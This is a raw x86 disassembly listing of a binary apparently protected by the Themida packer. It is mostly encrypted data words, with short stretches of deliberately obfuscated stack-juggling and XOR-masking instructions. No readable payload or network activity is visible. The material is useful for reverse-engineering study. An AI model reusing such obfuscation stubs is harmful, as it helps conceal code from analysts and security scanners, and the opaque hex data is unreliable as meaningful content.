2B777049h, 85ED4920h, 498EB90Ah, 0A560B3Ch dd 641E841h, 70D9455Eh, 2C4A2CD7h, 115D75E2h, 18647627h dd 0BB4C850Fh, 0EAC0560Eh, 58A4B62Bh, 0D498C4E0h, 560EBCE2h dd 0CC63AF52h, 0E4E8546Ch, 4FD1F660h, 66B2A790h, 0BBABBFDDh dd 794FCE0Ah, 0AA966F96h, 0BE89D591h, 0C976CF6Bh, 9BE7FB11h dd 0D750B990h, 6500C399h, 82F4F8D3h, 0B24FCE0Ah, 0C68AB64Fh dd 499144BEh, 0DFA9936Eh, 12D1E95Bh, 0DCB110CCh, 0E0EC58B1h dd 498A635Ch, 0B2A4A894h, 825615DBh, 57AEFAD5h, 0EEC775AEh dd 0F364AEFAh, 0F8A993DFh, 0EF8D96E2h, 9CD0668Eh, 5AAF78C4h dd 24E724B1h, 0DA15620Ah, 0C49C6D6Dh, 0DB90AF78h, 668C948Fh dd 0D82404AFh, 34C69B04h, 251E25C4h, 5DE85747h, 93AD57Eh dd 0E63B0450h, 5ACF064Ch, 48143C88h, 45D50F37h, 0E7E43F8Bh dd 0A4BE760h, 45914258h, 1A3463DCh, 302255CEh, 273C5BE4h dd 410A5611h, 5E0641E8h, 5EA51C92h, 3FF1107Eh, 0D3FEA29h dd 33279C77h, 362C6DE7h, 865D7EEAh, 0EF18F13Ah, 0E06E5170h dd 0F156E0D0h, 30Ch, 1763C200h, 241F6B81h, 18135F73h, 1F287467h dd 221D6980h, 150E5A75h, 26216D62h, 16115D79h, 28236F69h dd 19125E77h, 5FAA6874h, 0C890000h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push 64F5E3Bh mov edx, [esp] add esp, 4 sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax sub esp, 4 mov [esp], edx xor dword ptr [esp], 60B011A3h pop dword ptr [eax+8] xor dword ptr [eax+8], 60B011A3h push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop edx add esp, 4 jmp loc_544ACB ; --------------------------------------------------------------------------- dw 3CFDh dd 0DA20BCFEh, 0C1CD705Eh, 0F2B867B7h, 3064F62h, 5FE0FFC5h dd 5D445897h, 0FB1EDBABh, 0C60417CBh, 3F547C8Ch, 404632F4h dd 7313D9D6h, 7602058Ah, 0C64045C4h, 0CC061B1Dh, 416CB307h dd 0F769645Ch, 4C3131ABh, 9660A4F2h, 6454650Bh, 6E789F5Fh dd 0E8600A8Bh, 11h, 0B160B98h, 5D777FE4h, 3C2F7CC3h, 1A681030h dd 12E9C0h, 0A7DE0000h, 17879F20h, 0CE775A18h, 0DC1C0FF0h dd 0EBE3B72Dh, 57C6815Eh, 66000063h, 33BD02B8h, 8B6660D2h dd 1BB657CAh, 34FF6158h, 0C2B70F32h, 11CB815Fh, 811FD8A4h dd 0C4CCFEC7h, 81CB8B17h, 4DAA9EFh, 1C840F32h, 0E8000000h dd 13h, 97CFCB09h, 0A6A9A5A1h, 7BBAD331h, 0C1FDB7A7h, 66BEBEC7h dd 815BD98Bh db 0C7h byte_5B31B5 db 0A9h, 3Dh, 36h ; DATA XREF: Themida_:0053D9B0o ; Themida_:0053E368o ... dd 89DD8A5Ah, 0EE9163Ch, 0EA000000h, 0C8264CA7h, 7AFED267h dd 0FF968961h, 1810FC6h, 0F8000000h, 221BEA81h, 0E8604F0Ah dd 0Bh, 0FAE7029h, 9E17ADEAh, 8B7B4742h, 0DF815BCAh, 2CC37695h dd 17C28161h, 8B4F0A22h, 0CCFA81CFh, 0FFFFF9Dh, 3F85h dd 24890F00h, 0E8000000h, 0Eh, 822CD7B5h, 1707BDA4h, 9DC88C98h dd 0AE86516h, 48000000h, 2418313Dh, 0AEB67220h, 0E95B5975h dd 23h, 26BE1EAh, 0DAF1B56Bh, 0FCD986D5h, 0D57EE54Ch, 0FFFF25E9h dd 0AB0B1BFFh, 99D95D05h, 0EF5FE744h, 0EBAFA6AFh, 10h dd 3 dup(0) dd 6AC08B00h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0ECC7C352h, 0BD83F104h, 64820E9h dd 83097500h, 482C61BDh, 19740006h, 0C08B5350h, 42DB8h dd 0A1858900h, 8D064828h, 4AB02C9Dh, 5BD3FF06h, 61BD8358h dd 6482Ch, 53501774h, 42DB8h, 0A1858900h, 8D064828h, 4AAD1B9Dh dd 5BD3FF06h, 41B46058h, 1E398589h, 0E9610648h, 5, 0E091CE86h dd 31C08B93h, 48185D95h, 0C58D8B06h, 6A064814h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h dd 0C6BC355h, 19A98589h, 0F9830648h, 0AA840F00h, 0E9000000h dd 9, 96CCC83h, 0C74DB1F9h, 3D8B643Ah, 2Ch, 0FFF0BF8h dd 8C84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1B04h, 0C3564600h, 0DAB92B25h, 7842C90Dh, 9D313F8Bh dd 648065Dh, 26E1958Bh, 0C0320648h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 2DC35242h, 75278022h, 0F52F6BACh dd 0F9958BF5h, 0F06481Fh, 580h, 0DA816600h, 0AAF35EC7h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0C9C35646h dd 5711D1A6h, 4149351Ah, 67BA5350h, 0C64AB64Bh, 48276D85h dd 95294706h, 6482405h, 10677268h, 4DBE66C7h, 24348134h dd 1BC6EF5Eh, 4D7951BAh, 95B5FF09h, 0F064821h, 1A83h, 0EE800h dd 0DA120000h, 2DDAD28h, 0B1DC605Dh, 0A5A42A7Ah, 1EED958Bh dd 8D5E0648h, 4B831E85h, 0D0FFF906h, 6890Fh, 0BD010000h dd 6482701h, 3D8589F9h, 6A06481Dh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0DF55C352h dd 0F1B5291Bh, 0C6064825h, 48276D85h, 958B5306h, 6480035h dd 4E8h, 986AFC00h, 14E888h, 0AA760000h, 0E2A1CA07h, 35FA25E2h dd 825E818h, 4610EE72h, 10E90487h, 3B000000h, 9BAB312Eh dd 8DB13963h, 0C23803DFh, 5A5E381Fh, 7E850h, 8F850000h dd 8DFEEF88h, 0D5BE6656h, 448B5AD0h, 0BA660424h, 8BE64Ch dd 4489F78Bh, 60580424h, 9523D98Bh, 6480D61h, 95B5FF61h dd 52064821h, 1975B58Bh, 8D5A0648h, 4B831E85h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0A5F7603Eh, 69ABCF2Fh, 0BE960DBh, 0B1000000h, 950667ACh dd 5F5851B1h, 14E93716h, 3B000000h, 9BDEE982h, 4616BC14h dd 0A04AF3Dh, 849E815Ah, 61978185h, 8A0FD0FFh, 0Ah, 15B58960h dd 0B606480Ah, 858D616Fh, 64B3D99h, 859589F9h, 8906480Dh dd 481E0185h, 99B58B06h, 6A06480Fh, 0FFFF6A20h, 481E0195h dd 41493506h, 85C75350h, 6482F19h, 1, 1CE585C7h, 648h dd 10E80000h, 98000000h, 0CCA68A0h, 0FB044ED0h, 0EE84894Fh dd 0FC64472h, 85h, 0BD895A00h, 6481EE9h, 590EA81h, 0BD83127Dh dd 6480B19h, 55840F00h, 8B000000h, 480AFDB5h, 79858B06h dd 0E906481Fh, 0Fh, 3211B28Ch, 0A1645F36h, 21C370B4h, 64ECC70Fh dd 0A3h, 858BF900h, 6481F4Dh, 3BAF28Bh, 8B5B8ADBh, 0FE860E0h dd 0F8000000h, 98767DFCh, 4E452AA5h, 0CCC2327h, 0B70F91B2h dd 805758DFh, 615F49CAh, 0D19BD83h, 0F000648h, 3CC85h dd 10E96000h, 95000000h, 52323534h, 0E9B15D2Dh, 8AB24763h dd 0F9777E77h, 6D85C661h, 56064827h, 83BC68FCh, 820F4A96h dd 2, 48129B2h, 2EAD2324h, 43BA665Fh, 95B5FF4Fh, 0F064821h dd 858DD2B7h, 64B831Eh, 3279B533h, 0D0FF0648h, 5DB58B53h dd 5A06482Ah, 14E850h, 577D0000h, 446FF16h, 900E1D33h dd 2668DCE9h, 0C615749Ch, 57603421h, 0E7BF665Fh, 895E6111h dd 8DF52404h, 482E818Dh, 61609106h, 81B76050h, 5F10B656h dd 6A9161h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h dd 55450000h, 4E51AFC3h, 0CEF2EB7Bh, 46A6A45h, 153AD281h dd 4E84C26h, 0 dd 8B000010h, 8E950F7h, 7D000000h, 19419603h, 8BAA1B62h dd 50042444h, 0F0B66052h, 0F615956h, 11E831h, 50F30000h dd 0D161B2BCh, 61E2065Ah, 1D8DCFA1h, 5E5599F8h, 8B585Ah dd 0DE9h, 7CB4100h, 0A79EE285h, 0F07E8660h, 44894CDFh dd 8B580424h, 480FF5B5h, 0A9B5FF06h, 29064809h, 4820E5BDh dd 6AD0FF06h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 136FC350h, 0BD8BF912h, 64809A9h dd 3049BD89h, 7F030648h, 0C781F83Ch, 0F8h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 8DC35545h, 0ADF84167h dd 6ED2376Dh, 10E882h, 68D80000h, 0FEEDD312h, 752260E3h dd 7EA38339h, 3FBE0C0Bh, 5A674FA2h, 202447C7h, 81600000h dd 5E4C7CF6h, 0F2BD8316h, 64F64h, 15B840Fh, 958B0000h dd 6481045h, 6A28C783h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0A59AC350h, 7D94A094h dd 0BE559A1Eh, 49C0CC83h, 0B98D2950h, 5A06481Fh, 6A2E07C7h dd 95036469h, 648225Dh, 610447C7h, 8B006174h, 4825F9B5h dd 0FA858B06h, 6A064F64h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 15042444h, 42000000h, 85A6C352h, 3085958Bh dd 47890648h, 0E820F0Ch, 0E9000000h, 9, 1EBEA73Ch, 45E33995h dd 0FE858B2Dh, 51064F64h, 9698BA66h, 847895Eh, 8E9h, 90D2B900h dd 0E5FE170Dh, 28C78398h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Bh, 76C35242h, 2C08FF38h, 2BE20D3Dh, 4809C995h dd 2E07C706h, 0B26E6F63h, 447C7C6h, 676966h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0F1C35141h, 64F6858Bh dd 6A064Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0EE8112C3h, 7C5B9E5Dh, 89F78B66h, 0B58B0C47h dd 64828E1h, 64F2858Bh, 0DE9064Fh, 7B000000h, 7F6036EDh dd 4DE87093h, 0A2ADF778h, 2B084789h, 481F0195h, 5E85806h dd 9C000000h, 1B97B99Eh, 4673BE66h, 198D8D5Eh, 8906481Dh dd 481E1DBDh, 0D68B5006h, 6A240C89h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 5901C352h dd 8712B43Bh, 0B6B6B910h, 2E81B5FFh, 6A0648h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0F147F8C3h dd 8953F9D4h, 482B7D9Dh, 0BF685A06h, 661ECE23h, 81A09ABAh dd 33BF2434h, 6A1ECEh, 3E850h, 58200000h, 448958C3h, 44810424h dd 1D0424h, 50400000h, 8DDDA6C3h, 1FFB3433h, 0FF0373BBh dd 4809A9B5h, 0D0FFF506h, 9CA8166h, 0B88Ah, 9D890000h dd 64829EDh, 840FC00Bh, 79h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 9C35242h, 0D1492DC6h, 12E9F2h dd 9B440000h, 52B5526Ah, 55F054A6h, 0A8A69ED3h, 74C3153Bh dd 24BDB5FFh, 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 180424h, 57470000h, 0F85151C3h, 0B58BFFDDh, 6480FC1h dd 0FFF7B70Fh, 4820BD95h, 99958B06h, 89064806h, 4829CD9Dh dd 8BC08B06h, 48272D95h, 0E9BD8306h, 64820h, 0BD830975h dd 6482C61h, 50197400h, 0B8C08B53h, 42Dh, 218589h, 9D8D0648h dd 64AB093h, 585BD3FFh, 2C61BD83h, 74000648h, 0B8535017h dd 42Dh, 218589h, 9D8D0648h, 64AAD34h, 585BD3FFh, 0BBEBBA66h dd 5840Fh, 9EBA0000h, 8B2F4714h, 618529C0h, 8B06482Dh dd 0FA8D8DC0h, 89064F6Dh, 480A198Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 23DC6A45h dd 0CBA9C0B3h, 3585C7AFh, 3C06480Fh, 6A000073h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 8089C352h, 85C7F8E3h, 6482425h, 0 dd 75C81BEh, 5B5FF6Ch, 5106480Dh, 9D8B5FFCh, 64819A1h dd 20BD95FFh, 6A0648h, 306195FFh, 0C08B0648h, 6DB73AEBh dd 87983809h, 0DD14DA36h, 30C8C9E3h, 98A4BFECh, 4A430253h dd 0EACC61C7h, 12AD9ECh, 0DFD5CDBCh, 5A8F679Bh, 597A86D4h dd 0A932A2CEh, 0FADD1535h, 8138DBDh, 0F7CBD160h, 0EBD204EBh dd 5FE90D91h, 3D000005h, 4061DB27h, 3E5FD925h, 2576DE2Ah dd 2273DD29h, 0E877E12Dh, 36825DE2h, 38845DFEh, 408C5F00h dd 47934718h, 8965890Dh, 56162115h, 8672BC17h, 0E12D7955h dd 19125E74h, 2B257166h, 0F32C786Ah, 717D8E44h, 4FC6B2FDh dd 0B39D02Fh, 0B32B1B2Fh, 26094FC6h, 55CE1A35h, 7A1D22ECh dd 46924D63h, 42FD24FDh, 0C53590E6h, 0AFA3B994h, 0A881E863h dd 0EF70CA9Fh, 0D485AFFBh, 0A495B3FFh, 7CE55EAAh, 8ED290A3h dd 96A089A0h, 7ECAA1C2h, 73BF92C5h, 93EC78B8h, 5BC7AEC9h dd 99BF5B01h, 0F6F1CA3Ah, 6EC8A1AAh, 92AEFAF1h, 4ACA2AEh dd 0A1804FC7h, 0CAA0C195h, 0B4A7C57Eh, 544FC704h, 6E71E71Eh dd 1554F166h, 5Eh, 1D6981A9h, 0B3128A22h, 0C8F44FC6h, 0F0E6FCEFh dd 5FC69BA4h, 9FB17DE4h, 15D1EE64h, 1B254F1h, 4C000000h dd 20166481h, 2E7F1E1Eh, 0FA9DA67Fh, 0EB8C97E3h, 0B400DDF3h dd 0CA16CC6Bh, 0AF81CA63h, 125E7263h, 74E63019h, 0F5411C91h dd 0FC481A3Bh, 95C63F60h, 0D55D9FC4h, 0B955ACF8h, 6681AB95h dd 776E111Ah, 0F951202Bh, 5EAAA51Ah, 61ADA5F6h, 539FB9E6h dd 4E85ADD8h, 0F113BBD8h, 94C854h, 865E0000h, 0A984AB1Dh dd 0B750C950h, 0DB270729h, 1E3FDB83h, 1A42FD49h, 88C88A09h dd 4EE8F4E8h, 400B5711h, 0CB3B9AF0h, 75BE77B2h, 283B8705h dd 6CE945DCh, 3C3B2573h, 0B430B439h, 9DB2E34Dh, 0E80CE87h dd 0D8550CB4h, 0CA55AC55h, 0DA65B1ADh, 0D15AA6BDh, 766DBBAEh dd 0A740743Dh, 95EE940h, 77117913h, 476D772Ah, 4E84E18Ch dd 3B6E0177h, 3D1554F1h, 0C7000000h, 0FD9EC7B6h, 0B78A95E1h dd 7903794Ch, 6681A79Dh, 7D6E111Ah, 45AF631h, 47934CC1h dd 5586330Dh, 13F6317Dh, 337F5607h, 0B2E75CF8h, 0F11F4FC6h dd 16079C12h, 17C54F1h, 12000000h, 10196781h, 0D9D40E99h dd 0F93F2BD4h, 4537453Dh, 1E3463DCh, 8E4576D2h, 83560942h dd 0EC15EC37h, 697A1D22h, 5875221Dh, 1F75130Ch, 61F739E4h dd 4C0932A2h, 0DF4C2700h, 0EA75EA4Ah, 0D590F50h, 753062Fh dd 549E53Ch, 4AF60E2Eh, 0A6ACA839h, 0D3113713h, 5038D3C3h dd 86D28611h, 71BD64BDh, 0FF2EE5E9h, 69BA498Eh, 0CFB394B5h dd 0DD43CFACh, 84560942h, 8B5F0038h, 0F468043Fh, 71560F58h dd 801F2874h, 307C5268h, 30FB12F7h, 9F4A89E1h, 0A71CF7CDh dd 0E0F967B3h, 0DD71BD09h, 0EE5AA6BCh, 0C2458795h, 0EC0B8AEh dd 6A957C56h, 6DC997C9h, 67B3A7D8h, 0A2E6A8F9h, 0FC82FCE4h dd 0E63C0D32h, 5CA8BA2Fh, 0E61DA2F4h, 24665B39h, 1, 75D3E95Bh dd 8EB89E59h, 6F67D049h, 1E410A23h, 0D725364Ch, 2871A89h dd 22B0276h, 551095Ah, 2239223Ah, 1AF44DD6h, 4ED9253Dh dd 48203631h, 7D1A25FCh, 3B0D1662h, 0B2832EE5h, 4E04795Ch dd 7B085A02h, 85B39F2h, 71h, 7A55869Eh, 9550D2Eh, 0E84FEB3Eh dd 4C203C74h, 4FC6B32Ah, 0F5B7364h, 0FCD22D14h, 1D5CFA92h dd 0E750D25Ch, 9C12DEEFh, 904FC6E8h, 0B6719871h, 3703758Eh dd 0AE8CAE01h, 79960864h, 3E744FC7h, 6E68EC87h, 49202B77h dd 795F4F1Bh, 32CD4FC7h, 0BD616DDBh, 0EF4FC778h, 78352810h dd 0E7000000h, 7987F7D3h, 88A54FC7h, 33FDA4FFh, 40DA331Ch dd 0D3E95B06h, 0B8DE5975h, 0F110498Eh, 5510936h, 1F2B0F4Bh dd 560EBD2Fh, 471822FDh, 70FC4793h, 560EBC39h, 0E0F8E1ADh dd 0FDD87A94h, 3184D288h, 1DE82F23h, 201741E8h, 905C0820h dd 4FD21215h, 3C5BE44Bh, 0E5A1026h, 550B2C15h, 69272009h dd 2315B013h, 60798F43h, 0CF360B14h, 47460A36h, 0F5499138h dd 5B68221Ah, 4975D3E9h, 7EF48038h, 42CCF7CCh, 8A382B2Ah dd 53EE149h, 0FC348052h, 0D3B875Bh, 50EA362Ch, 5FCB5DF7h dd 0D92F4A67h, 81CD85FAh, 0BED486D7h, 7EE35CA8h, 0E3FB9CA7h dd 0F3EB8C97h, 0E8FB9CA7h, 0EBCA39Ch, 9DD00CE5h, 23E218D0h dd 68A797B3h, 0AA855D58h, 94C5D183h, 4FB26DB9h, 9DA6F2ECh dd 2DE86AC4h, 0DE56A2B8h, 7D3161C2h, 0FD267267h, 4FEB7FEBh dd 0BA0E5C0Eh, 6D4BB84Dh, 5A86E24Bh, 58992096h, 10D1115Dh dd 0CD1BCDCFh, 740DA35h, 316h, 1763AC00h, 241F6B81h, 18135F73h dd 1F287467h, 221D6980h, 150E5A75h, 26216D62h, 16115D79h dd 28236F69h, 19125E77h, 58545074h, 405h, 4E88300h, 5C240487h dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 1768241Ch dd 89000012h, 0B850243Ch, 4FD13529h, 1330BA52h, 0E2C14314h dd 0F3F28108h, 816ED735h, 8B6D8CC2h, 0C2814A29h, 122EC59Dh dd 895AD001h, 8B5458C3h, 0C481243Ch, 4, 315168h, 24048900h dd 8B8h, 89F80100h, 3C8B5818h, 0E3895324h, 4C381h, 0C3810000h dd 4, 5C241C87h db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_544ACB ; --------------------------------------------------------------------------- db 67h dd 0BA8A9792h, 692826ACh, 4C790D0Ah, 0F2B80ED0h, 3064F72h dd 0E1E0FFC5h, 543D6751h, 952EED68h, 0F7009120h, 40784B2Fh dd 0FB3DBAFEh, 9B3E4802h, 530FE3D1h, 3707D979h, 68354365h dd 0FB617116h, 235FFF8Ah, 40354D69h, 0F7670A82h, 850A400Eh dd 12455F3Bh, 8E25D4BAh, 0CD6DE1A1h, 8D3F4EEEh, 4F74CA8Dh dd 0DF8B6606h, 0A198D89h, 6A0648h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 180424h, 53430000h, 0B50D8EC3h, 69BF3363h dd 0C762C619h, 480F3585h, 592406h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1A04h, 0C3504000h, 668F43DDh dd 89E576A0h, 481EF58Dh, 2585C706h, 64824h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0D91BC356h, 5E97D3Fh, 19000000h, 0ECD9D6B3h dd 24B5B5FFh, 95FF0648h, 64820BDh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 6C35040h, 0CD819B71h, 6B8D8548h dd 0B3DEB88Eh, 6A4BFAh, 306195FFh db 48h byte_5B4239 db 6, 8Bh, 0C0h ; DATA XREF: Themida_:0053D788o ; Themida_:0053EC64o ... dd 9B6B3CEBh, 0A70DA023h, 0A6CD3F69h, 34338DDDh, 73BB1FFBh dd 6A20EC03h, 0DB4D9DA9h, 873A0D05h, 0C0D31788h, 1A36C789h dd 3465DDCEh, 82F96845h, 93F0E22Fh, 3EA7BCD3h, 0C2E340CFh dd 14E8AFE8h, 73000000h, 634BBC57h, 41F5E369h, 0D014EFFEh dd 0EE2E6E86h, 0E97E3EF4h, 14h, 6D82D79Bh, 256A44E6h, 5EDB8F2h dd 4904846Fh, 0EE2DBDDAh, 5AC3815Bh, 0E900005Bh, 7, 66414DD3h dd 2B034C72h, 4810FC0h, 66000000h, 0FF5E6BB9h, 9D891834h dd 6480A29h, 0F58D8B5Eh, 81064823h, 0E28D26F6h, 8EA816Dh dd 811FDB54h, 259B2F6h, 1830F57h, 0FC000000h, 1C13C681h dd 8D896EE9h, 648224Dh, 0DE956h, 0BC580000h, 21A2977Ah dd 8CD15B78h, 8FB767D3h, 0BD8B0304h, 6480EB9h, 0E883CF8Bh dd 0C88B6603h, 0D68B6648h, 0A558F881h, 850FFFFFh, 0FFFFFF97h dd 0C08BF5h, 18Eh dup(0) dd 8800F00h, 0F000000h, 28Ch, 6A616000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 0B8B5C352h dd 83E58B66h, 0FFE6AAFh, 0C8Fh, 7E900h, 0A5140000h, 82102AAEh dd 6A9DA0h, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h dd 50400000h, 0CBDED9C3h, 168D0F61h, 0E9000000h, 11h, 0DD55F2B0h dd 0AC225BAh, 0D6DC4FA8h, 0CD7D3D5Ch, 6A5D6Ch, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h dd 0BA61ADC3h, 50EC1351h, 0E8606A3Fh, 0Fh, 50EC1351h, 0F22E6A3Fh dd 0CFB581B3h, 0E9876E51h, 0Bh, 12372D5Ch, 2B6658h, 5E320947h dd 24440161h, 6E908h, 0F4090000h, 0FD880D33h, 52006A58h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 7DEA3FD0h, 593D6004h, 0BE9h, 756FDC00h, 663D4764h, 5491966h dd 11E9h, 0ED112700h, 0C35E3F64h, 7739C177h, 73732B67h dd 830F67BBh, 7, 18D0Fh, 9DF80000h, 50006AC3h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 26B50EE8h dd 60F92487h, 6A6170B5h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 27B7C355h, 11E9B642h dd 25000000h, 89D24804h, 0A0B29521h, 4C4677C2h, 3AA788B7h dd 1820Fh, 8BFC0000h, 8B6651C0h, 8B0F5BD8h, 1Ch, 13E8h dd 0D2EF4C00h, 16F03F36h, 67A18952h, 0CB58AD25h, 78AEE30Ch dd 595AD280h, 0D18B6656h, 6E958h, 0D1340000h, 81E7A637h dd 7D16C981h, 81667375h, 0BA81E6D6h, 7EBE9654h, 820FC28Bh dd 6, 23DFD181h, 50B951C4h, 6629B755h, 0DE81C68Bh, 51DC09E9h dd 6E960h, 3BD50000h, 0B0E79F40h, 14E9h, 0E5921D00h, 0A5825F24h dd 12ECB50Ch, 3CC75F8Fh, 0C2CC59E8h, 9E961EBh, 0CF000000h dd 7EA1CE56h, 70669F79h, 0E98020B3h, 0CE93Fh, 0E8E70000h dd 5105E75Ah, 3D30DF44h, 840FC7E9h, 2, 0FFC9FB4h, 0D880FFBFh dd 7830F39h, 0F000000h, 18Ch, 38B1F500h, 0B8F7B70Fh, 77983601h dd 666056F5h, 41CCE981h, 8E38166h, 805B619Ch, 0CF8ABCF5h dd 0E7EA8166h, 6E9ACh, 31160000h, 948D24A3h, 0AE9h, 88D87B00h dd 0ECE0E4DEh, 668A098Fh, 2BCEC081h, 9E8h, 186E6800h, 88726ABBh dd 0BF0FC518h, 0DDB55BC8h, 5E953h, 0E74B0000h, 5B8424ECh dd 0FA8B6652h, 4DD28158h, 0B845ABA4h, 0B9B1F3Eh, 0B966EA8Ah dd 8B66976Ch, 8B6656C7h, 8B6658D8h, 6E9F9F3h, 0A0000000h dd 0B857CF8Bh, 0E9FEB098h, 0Fh, 0E6271B65h, 80124FBEh dd 17CC5CB7h, 60CD1107h, 0FD28EFBEh, 61C38B5Ch, 54C18166h dd 0AE9FDh, 0D0270000h, 0CBB91A53h, 4F84989Fh, 0FF8D88Bh dd 586h, 7BABBA00h, 11E97EAEh, 0FC000000h, 0D6047B61h dd 0DEE026F4h, 3E1EF9CCh, 0C6FE86E0h, 0E9CF8B66h, 12h dd 0F6A4CDA5h, 18135DC7h, 3CA96B66h, 0ABECBCEAh, 0FFC8C14h dd 0BF0FD8BFh, 6800FCAh, 81000000h, 0BFA11ADAh, 7E857h dd 0AF710000h, 31A09748h, 5EBDB385h, 0E2816660h, 4DBBB93Eh dd 61324D41h, 66D8BF0Fh, 0FF9C78Bh, 0E84h, 9E900h, 0A4D60000h dd 60C8081h, 8064393Ch, 0B70F6EEAh, 10E9D2h, 0A1EA0000h dd 0EA3B4782h, 0D32C36C1h, 46D35D07h, 4DB51190h, 10E9EE8Ah dd 87000000h, 0AE45CA13h, 0B5472C0Ah, 269AC935h, 0BB29B83Eh dd 1313BFB3h, 0DE9h, 33A86E00h, 0B7DD0061h, 424D3A13h dd 0B70F7C54h, 10E8FAh, 4B690000h, 9FCDAE9Eh, 0D8158E6Ah dd 3C666312h, 81660199h, 59EFD2E7h, 810Fh, 81660000h, 668D61DEh dd 0BF66CE8Bh, 0CB818D67h, 6EC74B93h, 0C480F8FCh, 0F5B50C9h dd 85h, 0DE900h, 28F50000h, 0AC05D86Eh, 0C4B4955Bh, 8151B3C2h dd 90C6B4D8h, 2A70BF26h, 0E9601D9Ah, 5, 80C74355h, 0D8BA6612h dd 6E86156h, 0A1000000h, 6A5E748Fh, 5E7BB2C7h, 90C88166h dd 0CA816616h, 8E0FC624h, 0Dh, 8E9h, 9D773F00h, 5763F9BBh dd 0BE8ECh, 0EC720000h, 8765EE01h, 8D3591FDh, 68BB661Bh dd 536059E2h, 0DF73BB66h, 10E959h, 8FD90000h, 0C5398F9Ch dd 8F9E7A0Dh, 0A54C3C8Bh, 0E961A456h, 11h, 7BBEFAC4h, 6F52B4FBh dd 0B6405C8Bh, 520805ECh, 0F08B669Bh, 7E9h, 0F1EED500h dd 0EF18B2BDh, 0A0D8BB66h, 0BE9C88Bh, 28000000h, 790D0A69h dd 0AD0ED04Ch, 0A0B5AAB3h, 10E8h, 37CB9100h, 0D0A59EF0h dd 26165CC1h, 9C693262h, 0BA666041h, 0E7812525h, 5409259Dh dd 81665F61h, 0E91059E7h, 0Ah, 392856D1h, 0B4908378h, 0F180AE91h dd 9E84Bh, 0F13B0000h, 0CAF96060h, 0FC601E63h, 66606059h dd 8B66C78Bh, 10E861FAh, 18000000h, 0CC87BEEEh, 0C41E5F50h dd 6388631Ch, 803E69D4h, 615E15D2h, 8E8h, 24AEF700h, 22FFD2EEh dd 81665AAAh, 0F5B9B0EFh, 95E16FBFh, 0FEC8A46h, 0DB81DEB7h dd 7C2B1F4Ah, 810FFA8Bh, 7, 87C88060h, 8B61C78Bh, 12880FC2h dd 0E8000000h, 7, 0DE37195Ch, 0B8705119h, 5181434Ch, 0F1E3815Fh dd 0E957E185h, 0Ch, 0BE51FFh, 39C6350h, 0E563A767h, 66D18B66h dd 96C1E381h, 0E986B1F9h, 6, 3D139038h, 11E91A5Ah, 0CB000000h dd 6982BBB0h, 0DB45B90Ch, 1FB4E61Dh, 456347FAh, 18D0Fh dd 60F80000h, 0A7D0B966h, 81F28B61h, 7A7661EBh, 18A0F09h dd 0F8000000h, 5E9h, 0EAD2BB00h, 10E937F2h, 0FB000000h dd 6C18E944h, 5B180E15h, 0A49B4E31h, 0F58ACF4h, 0FE8BC3B7h dd 599CB452h, 0E2E06BAh, 0CB8B6635h, 6BF78166h, 0DF8BF574h dd 81FCCDB2h, 45D985D0h, 11E947h, 47660000h, 9DE1649Fh dd 5410A75h, 85156D0Bh, 0BB471CC8h, 966373Dh, 0C78BC38Bh dd 41B6BE66h, 880FF5h, 66000000h, 8166F18Bh, 0BEE82BCEh dd 0A2D78D1h, 66C8B70Fh, 87B1D081h, 0AC0469BEh, 0C6B70F31h dd 696DBB66h, 11E9h, 0FDF48300h, 0AD4C44F0h, 38E0F099h dd 90AA19B9h, 8E9F0F5h, 0D0000000h, 80FE38BFh, 660182E3h dd 27E0DE81h, 6663F280h, 8E8C68Bh, 0C3000000h, 741B747Ah dd 0E96E639Ah, 14h, 